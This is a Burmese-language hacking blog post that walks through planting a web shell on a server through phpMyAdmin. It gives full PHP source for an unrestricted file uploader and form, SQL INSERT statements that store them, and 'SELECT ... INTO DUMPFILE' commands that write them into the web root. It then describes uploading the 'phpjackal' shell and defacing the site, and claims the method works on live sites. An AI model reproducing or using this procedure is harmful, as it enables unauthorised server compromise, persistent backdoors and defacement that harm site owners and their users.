Sunday, November 11, 2012

Shell Upload via PhpMyAdmin



အရင္က shell ကို phpmyadmin ကတင္လို႔ရမွန္းမသိိခဲ႔ပါဘူး ေနာက္ေတာ႔လည္း အေျဖကရွိေနျပန္တယ္ .. တဲ႔ အေတာ္ကိုက်ယ္ျပန္႔ပါတယ္

ဒီ Tutorial ကို localhost မွာပဲ႔စမ္းသပ္ျပထားပါတယ္ online မွာလည္း 100% အလုပ္လုပ္ပါတယ္ online ကလိုင္းမေကာင္းလို႔မစမ္းျပတာပါ
စိတ္မရွိပါနဲ႔  ကၽြန္ေတာ္ကလက္ရွိ xampp Version information: 3.3.9 ကိုသံုးထားပါတယ္  concept ကေတာ႔တူတူပါပဲ႔
xampp သံုးျပီဆိုတာနဲ႔ phpmyadmin မွာ sql statement ေတြကို control လုပ္ဖူးၾကမွာပါ
ရည္ရြယ္ခ်က္က phpmyadmin ကေန website ေပၚ သို႔ server ေပၚကို shell တင္မွာပါ

Step1 =>အရင္ဆံုး php ဖိုင္နွစ္ဖိုင္ကိုစေရးရမွာပါ တစ္ခုက upload နဲ႔ ေနာက္တစ္ခုက userform ပဲ႔ျဖစ္ပါတယ္
upload.php ကိုအရင္ေရးရေအာင္
<?php
$uploaddir='C://xampp/htdocs/';
$uploadfile=$uploaddir . basename($_FILES['userfile']['name']);
if( move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile))
{
    print '<body bgcolor=#000000></br></br><div align=center><font size=5></font></body>';
}else{
    print '<body bgcolor=#000000></br></br><div align=center><font size=5 color=#0000ff>';
}
?>

ေနာက္တစ္ခု form.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<head>Cyberoot  PhpMyAdmin upload shell</head>
<body bgcolor="#000000">
<div style=" color:#F00;text-align:center; margin-top:60px; font-size:25px;">>>  &nbsp; Cyberoot  PhpMyAdmin upload shell!! </div>
<div style="padding-top:75px;margin-left:450px;width:340px; height:70px;">
<form enctype="multipart/form-data" action="upload.php" method="post">
<input name="userfile" type="file" />&nbsp;
<input type="submit" value="Upload" />
</form>
</div>
</body>
</html>

 Step2 =>ဒုတိယကေတာ႔ document root ဆိုတာကိုရွာရပါမယ္ localhost မွာဆိုရင္ေတာ႔ http://localhost/xampp/phpinfo.php ဆိုတာရွိပါတယ္
 ကၽြန္ေတာ္မွာေတာ႔ ဖ်က္လိုက္တဲ႔အထဲပါသြားတယ္ ဒီေတာ႔ phpinfo.php ကိုအသစ္ျပန္ေရးျပီး htdocs ေအာက္မွာျပန္ထည္႔ၾကည္႔မယ္
 phpinfo.php
 <?php phpinfo(); ?>
 ဆိုတာေရးျပီး htdocs ေအာက္မွာ Save လုပ္လိုက္ပါ ျပီးရင္ localhost/phpinfo.php ဆိုျပီးေခၚၾကည္႔ေအာက္ကလိုမ်ိဳးေတြ႔ပါလိမ္႔မယ္

 ကၽြန္ေတာ္က C://xampp/htodcs ဆိုတဲ႔ ေအာက္မွာသိမ္းထားတာကိုျမင္ရမွာပါ တစ္ခ်ိဳက installation လုပ္ထားတဲ႔ directory မတူရင္ေတာ႔လမ္းေၾကာင္ေျပာငး္သြားပါလိမ္႔မယ္
 No Problem for dir , conecpt ပဲ႔လိုတာပါ

 Step3 =>ကၽြန္ေတာ္တို႔ database ထဲမွာ ၾကိဳက္တဲ႔နာမည္နဲ႔ database အသစ္တစ္ခုေဆာက္ရမွာပါ ကၽြန္ေတာ္ကေတာ႔ cyberdevil လို႔ေဆာက္လိုုက္တယ္


 Step4 =>Table နွစ္ခုကို cyberdevil ဆိုတဲ႔ database ေအာက္မွာထပ္ေဆာက္ေရးရပါမယ္
 userform table ကို track1 လိုနာမည္ေပးလိုက္ပါမယ္
 မလုပ္တတ္ဘူဆိုရင္ ေအာက္ကကုတ္ကို sql ထဲ႔ကူးထည္႔လိုက္ပါ Sql Code =>

CREATE TABLE `cyberdevil`.`userform` (
`track1` VARCHAR( 1000 ) NOT NULL
) ENGINE = MYISAM ;


ေနာက္တစ္ခု user_upload ဆိုတဲ႔ table ကို track2 နာမည္နဲ႔ထပ္ထပ္ပါမယ္ sql code :

CREATE TABLE `cyberdevil`.`user_upload` (
`track2` VARCHAR( 1000 ) NOT NULL
) ENGINE = MYISAM ;
ျပီးရင္ေတာ႔ေအာက္က ပံုလိုျဖစ္သြားမွာပါ


Step5 =>userform table ထဲမွာ sql injection ထည္႔ေပးမွာပါ insert into userform values (' inject code '); အဲဒီ statement ေလးသံုးပါမယ္
full inject code is
++++++++++++++++++++++++++++++++++
insert into userform values ('
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<head>Cyberoot  PhpMyAdmin upload shell</head>
<body bgcolor="#000000">
<div style=" color:#F00;text-align:center; margin-top:60px; font-size:25px;">>>  &nbsp; Cyberoot  PhpMyAdmin upload shell!! </div>
<div style="padding-top:75px;margin-left:450px;width:340px; height:70px;">
<form enctype="multipart/form-data" action="upload.php" method="post">
<input name="userfile" type="file" />&nbsp;
<input type="submit" value="Upload" />
</form>
</div>
</body>
</html>

');
++++++++++++++++++++++++++++++++++++++++
ေအာက္လိုမ်ိဳးျဖစ္သြားမွာပါ



ဒီေတာ႔ တစ္ခါတည္း file ကို dump လုပ္ရေအာင္
++++++++++++++++++++++++++++++++++++++++
select * into dumpfile 'C:/xampp/htdocs/form.php' from userform
++++++++++++++++++++++++++++++++++++++++
ဆိုလိုတာက userform က data ေတြကို form.php နဲ႔ ျပပါလို႔ command ေပးလိုက္တာပါပဲ႔


ok! ဒါဆိုကၽြန္ေတာ္တို႔ document root ေအာက္မွာ form.php ဖိုင္ကို phpmyadmin ကေနေဆာက္လို႔ျပီးသြားပါျပီး
http://localhost/form.php  :)


ကဲ႔အခု upload လုပ္ၾကည္႔ပါဦး error တက္ေနေသးတယ္ေနာ္ ဟုတ္ပါတယ္ php upload funcion code ကိုမထည္႔ရေသးလို႔ပါ

ဆက္လုပ္ရေအာင္
Step 6=> user_upload ထဲ႔ကို sql inject လုပ္ပါမယ္ ေစာေစာကေရးထားတဲ႔ file upload script ေလးကို
INSERT INTO user_upload VALUES (" inject "); နဲ႔တြဲသံုးရမွာပါ
++++++++++++++++++++++++++++++++++++++++++++++++
INSERT INTO user_upload VALUES ("
<?php
$uploaddir='C://xampp/htdocs/';
$uploadfile=$uploaddir . basename($_FILES['userfile']['name']);
if( move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile))
{
    print '<body bgcolor=#000000></br></br><div align=center><font size=5></font></body>';
}else{
    print '<body bgcolor=#000000></br></br><div align=center><font size=5 color=#0000ff>';
}
?>

");
++++++++++++++++++++++++++++++++++++++++++++++++

ေနာက္ပိုင္းေစာေစာကလုပ္ထားတဲ႔ statement ကို dump လုပ္ရဦးမွာပါ sql statement
++++++++++++++++++++++++++++++++++++++++++++++++
select * into dumpfile 'C:/xampp/htdocs/upload.php' from user_upload
++++++++++++++++++++++++++++++++++++++++++++++++

user_upload ကို dump လုပ္ျပီးရင္ upload.php ဖိုင္လည္းအလုပ္လုပ္သြားပါျပီ ကၽြန္ေတာ္တို႔ shell တင္ဖို႔ပဲ႔က်န္ပါတယ္
ကၽြန္ေတာ္ကေတာ႔ကၽြန္ေတာ္ရဲ႕ ပထမဆံုး phpjackal shell  ဆိုတာကိုတင္ပါမယ္

ေအာက္မွာၾကည္႔ပါဦး lo.. Hack by ဘာညာဘာညာေပါ႔


Thanks for Reading
Written by Cyberoot
www.cyberoo.blogspot.com


No comments:

Post a Comment

Thanks for your comments
Welcome from cyberoot